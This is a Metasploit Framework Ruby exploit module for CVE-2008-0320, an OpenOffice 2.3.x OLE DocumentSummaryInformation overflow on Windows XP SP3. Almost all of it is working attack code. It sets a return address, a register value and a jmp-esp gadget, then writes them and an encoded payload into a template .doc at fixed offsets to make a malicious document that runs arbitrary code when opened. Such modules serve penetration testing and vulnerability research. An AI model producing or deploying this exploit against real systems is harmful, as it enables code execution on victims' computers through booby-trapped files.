## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow", 'Description' => %q{ This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on Microsoft Windows XP SP3. By supplying a OLE file with a malformed DocumentSummaryInformation stream, an attacker can gain control of the execution flow, which results arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Marsu <Marsupilamipowa[at]hotmail.fr>', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2008-0320'], ['OSVDB', '44472'], ['BID', '28819'], ['EDB', '5584'], ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=694'] ], 'Payload' => { 'Space' => 407 }, 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true' }, 'Platform' => 'win', 'Targets' => [ [ 'OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3', { 'Ret' => 0x609345fe, # add esp, ebx # ... # ret from tl680mi 'EBX' => 0xffffefa8, # EBX value 'JmpEsp' => 0x60915cbd, # push esp # ret from tl680mi } ], ], 'Privileged' => false, 'DisclosureDate' => "Apr 17 2008", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.doc']) ], self.class) end def exploit path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2008-0320.doc') f = File.open(path, 'rb') template = f.read f.close my_payload = payload.encoded template[115717, 4] = [target['Ret']].pack("V") template[115725, 4] = [target['EBX']].pack("V") template[115729, 4] = [target['JmpEsp']].pack("V") template[115808, my_payload.length] = my_payload file_create(template) end end